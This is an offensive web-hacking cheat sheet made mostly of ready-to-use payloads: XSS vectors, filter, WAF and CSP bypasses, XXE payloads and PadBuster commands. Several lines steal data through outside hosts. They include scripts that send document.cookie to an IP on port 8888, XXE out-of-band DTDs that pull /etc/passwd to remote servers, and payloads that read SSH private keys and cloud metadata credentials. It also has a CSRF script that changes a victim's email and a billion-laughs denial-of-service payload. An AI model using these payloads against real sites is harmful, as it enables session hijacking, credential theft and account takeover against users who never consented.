<iframe src="//evil?
<input type=hidden type=image src="//evil?
# Unclosed Tags
<svg onload=alert(1)//
Blind
# Blind XSS
# https://github.com/LewisArdern/bXSS
# https://github.com/ssl/ezXSS
# https://xsshunter.com/
# Blind XSS detection
# Xsshunter payload in every field
# Review forms
# Contact Us pages
# Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
# Address fields of e-commerce sites
# First or Last Name field while doing Credit Card Payments
# Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
# Log Viewers
# Feedback Page
# Chat Applications
# Any app that requires user moderation
# Host header
# Why cancel subscription? forms
Bypasses
# No parentheses
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
# No parentheses and no semicolons
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
# No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>
# Angle brackets HTML encoded (in an attribute)
“onmouseover=“alert(1)
‘-alert(1)-’
# If quote is escaped
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
# Embedded tab, newline, carriage return to break up XSS
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
# RegEx bypass
<img src="X" onerror=top[8680439..toString(30)](1337)>
# Other
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
Encoded
# Unicode
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>
# Hex
<script>eval('\x61lert(1)')</script>
# HTML
<svg><script>alert(1)</script></svg>
<svg><script>alert(1)</script></svg>
<svg><script>alert
(1)</script></svg>
<svg><script>x="",alert(1)//";</script></svg>
\’-alert(1)//
# URL
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
# Double URL Encode
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
# Unicode + HTML
<svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script></svg>
# HTML + URL
<iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe>
Polyglots
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>
javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!--
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
```
%3C!%27/!%22/!\%27/\%22/ — !%3E%3C/Title/%3C/script/%3E%3CInput%20Type=Text%20Style=position:fixed;top:0;left:0;font-size:999px%20*/;%20Onmouseenter=confirm1%20//%3E#
<!'/!”/!\'/\"/ — !></Title/</script/><Input Type=Text Style=position:fixed;top:0;left:0;font-size:999px */; Onmouseenter=confirm1 //>#
jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/ — !>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">>
” ></plaintext></|><plaintext/onmouseover=prompt(1) >prompt(1)@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’ →” > "></script>alert(1)”><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">">
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
<sVg/oNloAd=”JaVaScRiPt:/**\/*\’/”\eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe src=jaVaScrIpT:eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><imgsrc="http://i.imgur.com/P8mL8.jpg">
# No parenthesis, back ticks, brackets, quotes, braces
a=1337,b=confirm,c=window,c.onerror=b;throw-a
# Another uncommon
'-(a=alert,b="_Y000!_",[b].find(a))-'
# Common XSS in HTML Injection
<svg onload=alert(1)>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
<script src=data:,alert(1)>
# inline
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
# src attribute
javascript:alert(1)
# JS injection
'-alert(1)-'
'/alert(1)//
\'/alert(1)//
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
/alert(1)//\
/alert(1)}//\
${alert(1)}
# XSS onscroll
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
# XSS filter bypasss polyglot:
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText.fontsize(1)) }; x.open("GET","file:///home/reader/.ssh/id_rsa"); x.send(); </script>
" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
# GO SSTI
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
# Some XSS exploitations
- host header injection through xss
add referer: batman
hostheader: bing.com">script>alert(document.domain)</script><"
- URL redirection through xss
document.location.href="http://evil.com"
- phishing through xss - iframe injection
<iframe src="http://evil.com" height="100" width="100"></iframe>
- Cookie stealing through xss
https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py
https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md
<script>var i=new Image;i.src="http://172.30.5.46:8888/?"+document.cookie;</script>
<img src=x onerror=this.src='http://172.30.5.46:8888/?'+document.cookie;>
<img src=x onerror="this.src='http://172.30.5.46:8888/?'+document.cookie; this.removeAttribute('onerror');">
- file upload through xss
upload a picturefile, intercept it, change picturename.jpg to xss paylaod using intruder attack
- remote file inclusion (RFI) through xss
php?=http://brutelogic.com.br/poc.svg - xsspayload
- convert self xss to reflected one
copy response in a file.html -> it will work
# XSS to SSRF
<esi:include src="http://yoursite.com/capture" />
# XSS to LFI
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send();</script>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>
XSS in files
# XSS in filename:
"><img src=x onerror=alert(document.domain)>.gif
# XSS in metadata:
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg
# XSS in GIF Magic Number:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
# If image can't load:
url.com/test.php?p=<script src=http://url.com/upload/img/xss.gif>
# XSS in png:
https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
# XSS in PDF:
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?m=1
# XSS upload filename:
cp somefile.txt \"\>\<img\ src\ onerror=prompt\(1\)\>
<img src=x onerror=alert('XSS')>.png
"><img src=x onerror=alert('XSS')>.png
"><svg onmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png
"><svg onload=alert(1)>.gif
# XSS Svg Image upload
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('XSS!');
</script>
</svg>
# XSS svg image upload 2
# If you're testing a text editor on a system that you can also upload files to, try to oembed an svg:
<iframe src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/movingcart_1.svg" frameborder="0"></iframe>
#If that works, upload an SVG with the following content and try rendering it using the text editor:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
# XSS in SVG 3:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
# XSS in XML
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
# https://brutelogic.com.br/blog/file-upload-xss/
" ="" '></><script></script><svg onload"="alertonload=alert(1)"" onload=setInterval'alert\x28document.domain\x29'
# XSS in existent jpeg:
exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
# XSS in url (and put as header)
http://acme.corp/?redir=[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD]
# XSS in XML
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://w3.org/1999/xhtml">
<html:script>prompt(document.domain);</html:script>
</html>
DOM XSS
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
"><svg onload=alert(1)>
javascript:alert(document.cookie)
\"-alert(1)}//
XSS to CSRF
# Example:
# Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
AngularJS Sandbox
# Removed in AngularJS 1.6
# Is a way to avoid some strings like window, document or __proto__.
# Without strings:
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
# With CSP:
<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
# v 1.6 and up
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
{{constructor.constructor('import("https://six2dez.xss.ht")')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
XSS in JS
# Inside JS script:
</script><img src=1 onerror=alert(document.domain)>
</script><script>alert(1)</script>
# Inside JS literal script:
'-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
# Inside JS that escape special chars:
If ';alert(document.domain)// is converted in \';alert(document.domain)//
Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
\'-alert(1)//
# Inside JS with some char blocked:
onerror=alert;throw 1
/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
# Inside {}
${alert(document.domain)}
${alert(1)}
XSS Waf Bypasses
# Only lowercase block
<sCRipT>alert(1)</sCRipT>
# Break regex
<script>%0aalert(1)</script>
# Double encoding
%2522
# Recursive filters
<scr<script>ipt>alert(1)</scr</script>ipt>
# Inject anchor tag
<a/href="j	a	v	asc	ri	pt:alert(1)">
# Bypass whitespaces
<svg·onload=alert(1)>
# Change GET to POST request
# Imperva Incapsula
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>
# WebKnight
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
# F5 Big IP
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
# Barracuda WAF
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
# PHP-IDS
<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"
# Mod-Security
<a href="j[785 bytes of (
	)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
# Quick Defense:
<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">
# Sucuri WAF
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
# Akamai
1%3C/script%3E%3Csvg/onload=prompt(document[domain])%3E
<SCr%00Ipt>confirm(1)</scR%00ipt>
# AngularJS
{{constructor.constructor(alert 1 )()}}
XSS Mindmap
CSP
# CSP Checker
https://csp-evaluator.withgoogle.com/
# Content-Security-Policy Header
- If upload from web is allowed or <img src="URL">:
https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
https://iplogger.org/invisible/
https://iplogger.org/15bZ87
- Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
By observing this policy we can say it's damn vulnerable and will allow inline scripting as well . The reason behind that is the usage of unsafe-inline source as a value of script-src directive.
working payload : "/><script>alert(1337);</script>
- Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of unsafe-eval.
working payload : <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
- Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>
- Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;
Misconfigured CSP policy again! we can see object-src and default-src are missing here.
working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
- Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;
With unsafe-eval policy enabled we can perform a Client-Side Template Injection attack.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div>
<script src=https://drive.google.com/uc?id=...&export=download></script>
- Content-Security-Policy: default-src 'self'; script-src 'self' *.googleusercontent.com *.google.com *.yandex.net;
You can upload the payload to the Yandex.Disk storage, copy the download link and replace the content_type parameter value in the link with application/javascript
<script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script>
- Content-Security-Policy: default-src 'self'
If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server
window.location='https://deteact.com/'+document.cookie;
- Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
We can see object-src is set to none but yes this CSP can be bypassed too to perform XSS. How ? If the application allows users to upload any type of file to the host. An attacker can upload any malicious script and call within any tag.
working payloads :"/>'><script src="/user_upload/mypic.png.js"></script>
- Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url;
In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.
working payload :"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
- Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
In such scenarios where script-src is set to self and a javascript library domain which is whitelisted. It can be bypassed using any vulnerable version of javascript file from that library , which allows the attacker to perform xss.
working payloads :<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
- Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome git repo.
working payloads :ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
- Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;
In the above scenario, there are two whitelisted domains from where scripts can be loaded to the webpage. Now if one domain has any open redirect endpoint CSP can be bypassed easily. The reason behind that is an attacker can craft a payload using redirect domain targeting to other whitelisted domains having a jsonp endpoint. And in this scenario XSS will execute because while redirection browser only validated host, not the path parameters.
working payload :">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
- Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;
With inline execution enabled we can simply injection our code into the page.
url.com/asd.php/?a=<script>alert(document.domain)</scrtipt>
GoogleTagManager
<script>setTimeout(function(){dataLayer.push({event:'gtm.js'})},1000)</script>
<script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script>
- Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self' ;report-uri /_csp; upgrade-insecure-requests
This CSP policy can be bypassed using iframes. The condition is that application should allow iframes from the whitelisted domain. Now using a special attribute srcdoc of iframe, XSS can be easily achieved.
working payloads :<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
- CSP with policy injection (only Chrome)
/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
XXE
Summary
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.
Detection:
# Content type "application/json" or "application/x-www-form-urlencoded" to "applcation/xml".
# File Uploads allows for docx/xlsx/pdf/zip, unzip the package and add your evil xml code into the xml files.
# If svg allowed in picture upload, you can inject xml in svgs.
# If the web app offers RSS feeds, add your milicious code into the RSS.
# Fuzz for /soap api, some applications still running soap apis
# If the target web app allows for SSO integration, you can inject your milicious xml code in the SAML request/reponse
Check:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY test "THIS IS A STRING!">]>
<methodCall><methodName>&test;</methodName></methodCall>
If works, then:
<?xml version="1.0"?>
<!DOCTYPE a[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<methodCall><methodName>&test;</methodName></methodCall>
Tools
# https://github.com/BuffaloWill/oxml_xxe
# https://github.com/enjoiz/XXEinjector
Attacks
# Get PHP file:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<methodCall><methodName>&test;</methodName></methodCall>
# Classic XXE Base64 encoded
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
# Check if entities are enabled
<!DOCTYPE replace [<!ENTITY test "pentest"> ]>
<root>
<xxe>&test;</xxe>
</root>
# XXE LFI:
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
# XXE Blind LFI:
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
# XXE Access control bypass
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>∾</result></foo>
# XXE to SSRF:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
# XXE OOB
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://your.host/remote.dtd">
%dtd;]>
<data>&send;</data>
# PHP Wrapper inside XXE
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>
# Deny Of Service - Billion Laugh Attack
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
# Yaml attack
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
# XXE OOB Attack (Yunusov, 2013)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
# XXE OOB with DTD and PHP filter
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://92.222.81.2/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://92.222.81.2/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">
# XXE Inside SOAP
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
# XXE PoC
<!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [<!ELEMENT foo ANY><!ENTITY xxe_test SYSTEM "file:///etc/passwd">]><foo>&xxe_test;</foo>
# XXE file upload SVG
<svg>&xxe;</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
<?xml version="1.0" encdoing="UTF-8" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="14" x="0" y="16">&xxe;</text></svg>
# XXE Hidden Attack
- Xinclude
Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
Set the value of the productId parameter to:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
- File uploads:
Create a local SVG image with the following content:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Post a comment on a blog post, and upload this image as an avatar.
When you view your comment, you should see the contents of the /etc/hostname file in your image. Then use the "Submit solution" but
Mindmap
Cookie Padding
# https://github.com/AonCyberLabs/PadBuster
# Get cookie structure
padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding"
# Get cookie for other user (impersonation)
padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding" -plaintext 'user=administratorhc0nwithyhackme'
#https://github.com/glebarez/padre
